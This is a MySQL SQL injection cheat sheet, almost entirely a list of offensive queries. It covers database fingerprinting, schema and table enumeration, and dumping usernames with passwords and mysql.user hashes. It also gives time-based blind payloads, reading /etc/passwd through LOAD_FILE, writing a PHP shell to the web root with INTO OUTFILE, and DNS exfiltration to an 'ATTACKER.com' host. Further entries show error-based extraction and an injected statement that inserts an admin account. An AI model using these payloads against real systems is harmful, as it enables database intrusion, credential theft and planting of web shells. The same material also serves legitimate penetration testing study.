Cheat Sheet — MySQL

SELECT @@version
SELECT version()
-- Comment: # or -- - or /* */
-- String concat: CONCAT('a','b') or 'a' 'b'

SELECT database()
SELECT user()
SELECT @@hostname
SELECT @@datadir
SELECT @@basedir

SELECT schema_name FROM information_schema.schemata
SELECT group_concat(schema_name) FROM information_schema.schemata

SELECT table_name FROM information_schema.tables WHERE table_schema=database()
SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='dbname'

SELECT table_name FROM mysql.innodb_table_stats WHERE database_name=database()

SELECT column_name FROM information_schema.columns WHERE table_name='users'
SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='users' AND table_schema=database()

SELECT group_concat(username,0x3a,password) FROM users
SELECT group_concat(username,':',password SEPARATOR '\n') FROM users

IF(condition, true_val, false_val)
CASE WHEN condition THEN true_val ELSE false_val END
IFNULL(expr, alt)

SLEEP(5)
BENCHMARK(10000000, SHA1('test'))

SELECT LOAD_FILE('/etc/passwd')
SELECT LOAD_FILE(0x2f6574632f706173737764)    -- Hex path

SELECT 'data' INTO OUTFILE '/var/www/html/shell.php'
SELECT 'data' INTO DUMPFILE '/var/www/html/shell.php'

SELECT @@secure_file_priv

SELECT LOAD_FILE(CONCAT('\\\\',database(),'.ATTACKER.com\\x'))

extractvalue(1,concat(0x7e,(QUERY)))
updatexml(1,concat(0x7e,(QUERY)),1)
(SELECT 1 FROM (SELECT count(*),concat((QUERY),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)

SELECT user,authentication_string FROM mysql.user        -- MySQL 5.7+
SELECT user,password FROM mysql.user                     -- MySQL 5.6-

'; INSERT INTO users VALUES('hack','pass','admin');-- -

-- LIKE wildcard
SELECT * FROM users WHERE username LIKE 'adm%'

-- REGEXP
SELECT * FROM users WHERE username REGEXP '^admin'

-- IN
SELECT * FROM users WHERE id IN (1,2,3)

-- BETWEEN
SELECT * FROM users WHERE id BETWEEN 1 AND 10